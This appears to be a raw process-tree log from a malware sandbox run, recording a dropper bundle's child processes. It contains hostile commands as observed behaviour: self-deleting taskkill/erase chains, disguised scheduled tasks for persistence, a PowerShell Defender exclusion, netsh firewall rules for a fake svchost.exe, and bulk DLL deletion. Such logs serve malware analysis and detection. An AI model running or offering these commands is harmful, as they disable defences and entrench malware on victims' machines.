C:\Users\Admin\AppData\Local\Temp\lpop0lzj.i3p\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\lpop0lzj.i3p\GcleanerEU.exe /eufive5⤵PID:3668
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\lpop0lzj.i3p\GcleanerEU.exe" & exit6⤵PID:3092
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "GcleanerEU.exe" /f7⤵
- Kills process with taskkill
PID:3660
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kjkbrpcw.1ur\installer.exe /qn CAMPAIGN="654" & exit4⤵PID:3528
-
C:\Users\Admin\AppData\Local\Temp\kjkbrpcw.1ur\installer.exeC:\Users\Admin\AppData\Local\Temp\kjkbrpcw.1ur\installer.exe /qn CAMPAIGN="654"5⤵PID:3808
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\kjkbrpcw.1ur\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\kjkbrpcw.1ur\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1631043351 /qn CAMPAIGN=""654"" " CAMPAIGN="654"6⤵PID:4764
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\p3b4ams1.eiy\gcleaner.exe /mixfive & exit4⤵PID:3772
-
C:\Users\Admin\AppData\Local\Temp\p3b4ams1.eiy\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\p3b4ams1.eiy\gcleaner.exe /mixfive5⤵PID:3820
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\p3b4ams1.eiy\gcleaner.exe" & exit6⤵PID:3400
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "gcleaner.exe" /f7⤵
- Kills process with taskkill
PID:800
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\o5n321hu.pt5\anyname.exe & exit4⤵PID:3596
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ptb3n2dj.lch\autosubplayer.exe /S & exit4⤵PID:3988
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global5⤵PID:4080
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS82231EA4\Thu2102ff6cfe07c.exeThu2102ff6cfe07c.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2124
-
C:\Users\Admin\AppData\Local\Temp\7zS82231EA4\Thu21df5caa1b78de6.exeThu21df5caa1b78de6.exe /mixone1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1084 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Thu21df5caa1b78de6.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS82231EA4\Thu21df5caa1b78de6.exe" & exit2⤵PID:2900
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Thu21df5caa1b78de6.exe" /f3⤵
- Kills process with taskkill
PID:2948
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:2732 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:2744
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding1⤵PID:2036
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2036 CREDAT:275457 /prefetch:22⤵PID:2476
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:2012 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:2772
-
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'1⤵
- Creates scheduled task(s)
PID:2260
-
C:\Users\Admin\AppData\Local\Temp\o5n321hu.pt5\anyname.exeC:\Users\Admin\AppData\Local\Temp\o5n321hu.pt5\anyname.exe1⤵PID:3720
-
C:\Users\Admin\AppData\Local\Temp\2B35.exeC:\Users\Admin\AppData\Local\Temp\2B35.exe1⤵PID:3524
-
C:\Users\Admin\AppData\Local\Temp\7A8E.exeC:\Users\Admin\AppData\Local\Temp\7A8E.exe1⤵PID:2692
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:3988
-
C:\Users\Admin\AppData\Local\Temp\EEB4.exeC:\Users\Admin\AppData\Local\Temp\EEB4.exe1⤵PID:2912
-
C:\Users\Admin\AppData\Local\Temp\EEB4.exeC:\Users\Admin\AppData\Local\Temp\EEB4.exe2⤵PID:3060
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\0b51fb60-ca4c-4857-b30e-7d18ab5b30f0" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Loads dropped DLL
- Modifies file permissions
PID:1324
-
-
C:\Users\Admin\AppData\Local\Temp\EEB4.exe"C:\Users\Admin\AppData\Local\Temp\EEB4.exe" --Admin IsNotAutoStart IsNotTask3⤵PID:4064
-
C:\Users\Admin\AppData\Local\Temp\EEB4.exe"C:\Users\Admin\AppData\Local\Temp\EEB4.exe" --Admin IsNotAutoStart IsNotTask4⤵PID:1216
-
C:\Users\Admin\AppData\Local\f7b8e4f2-f992-4538-8140-d236a9080be6\build2.exe"C:\Users\Admin\AppData\Local\f7b8e4f2-f992-4538-8140-d236a9080be6\build2.exe"5⤵PID:2372
-
C:\Users\Admin\AppData\Local\f7b8e4f2-f992-4538-8140-d236a9080be6\build2.exe"C:\Users\Admin\AppData\Local\f7b8e4f2-f992-4538-8140-d236a9080be6\build2.exe"6⤵PID:1652
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\f7b8e4f2-f992-4538-8140-d236a9080be6\build2.exe" & del C:\ProgramData\*.dll & exit7⤵PID:4740
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im build2.exe /f8⤵
- Kills process with taskkill
PID:4796
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
PID:5048
-
-
-
-
-
C:\Users\Admin\AppData\Local\f7b8e4f2-f992-4538-8140-d236a9080be6\build3.exe"C:\Users\Admin\AppData\Local\f7b8e4f2-f992-4538-8140-d236a9080be6\build3.exe"5⤵PID:1100
-
C:\Users\Admin\AppData\Local\f7b8e4f2-f992-4538-8140-d236a9080be6\build3.exe"C:\Users\Admin\AppData\Local\f7b8e4f2-f992-4538-8140-d236a9080be6\build3.exe"6⤵PID:2368
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"7⤵
- Creates scheduled task(s)
PID:3732
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\6BF0.exeC:\Users\Admin\AppData\Local\Temp\6BF0.exe1⤵PID:4088
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\6BF0.exe"2⤵PID:4172
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK3⤵
- Delays execution with timeout.exe
PID:1000
-
-
-
C:\Users\Admin\AppData\Local\Temp\7e2bXGl3mk.exe"C:\Users\Admin\AppData\Local\Temp\7e2bXGl3mk.exe"2⤵PID:1808
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe"3⤵
- Creates scheduled task(s)
PID:288
-
-
-
C:\Users\Admin\AppData\Local\Temp\BF00.exeC:\Users\Admin\AppData\Local\Temp\BF00.exe1⤵PID:3460
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath %windir%2⤵PID:3908
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes2⤵PID:2552
-
-
C:\Windows\system32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM2⤵
- Creates scheduled task(s)
PID:3968
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes2⤵PID:3696
-
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal2⤵PID:3248
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath %windir%3⤵PID:3764
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes3⤵PID:3608
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes3⤵PID:2956
-
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {553561BD-B843-41AE-96EA-BE542B9129C6} S-1-5-21-1669990088-476967504-438132596-1000:KJUCCLUP\Admin:Interactive:[1]1⤵PID:4536
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵PID:4712
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵PID:2152
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe2⤵PID:4736
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe"3⤵
- Creates scheduled task(s)
PID:4020
-
-
-
C:\Users\Admin\AppData\Roaming\swfdwetC:\Users\Admin\AppData\Roaming\swfdwet2⤵PID:4076
-
-
C:\Users\Admin\AppData\Local\0b51fb60-ca4c-4857-b30e-7d18ab5b30f0\EEB4.exeC:\Users\Admin\AppData\Local\0b51fb60-ca4c-4857-b30e-7d18ab5b30f0\EEB4.exe --Task2⤵PID:2280
-
C:\Users\Admin\AppData\Local\0b51fb60-ca4c-4857-b30e-7d18ab5b30f0\EEB4.exeC:\Users\Admin\AppData\Local\0b51fb60-ca4c-4857-b30e-7d18ab5b30f0\EEB4.exe --Task3⤵PID:3728
-
-
-
C:\Users\Admin\AppData\Roaming\swfdwetC:\Users\Admin\AppData\Roaming\swfdwet2⤵PID:4748
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵PID:5016
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding C11CC2C0C471D0A753B2B7AAD5511720 C2⤵PID:2684
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 89E163E9B20315319F2943A4CF22DEDB2⤵PID:2024
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
PID:4424
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 52817D42CE529D34915E5CDFD4241885 M Global\MSI00002⤵PID:4584
-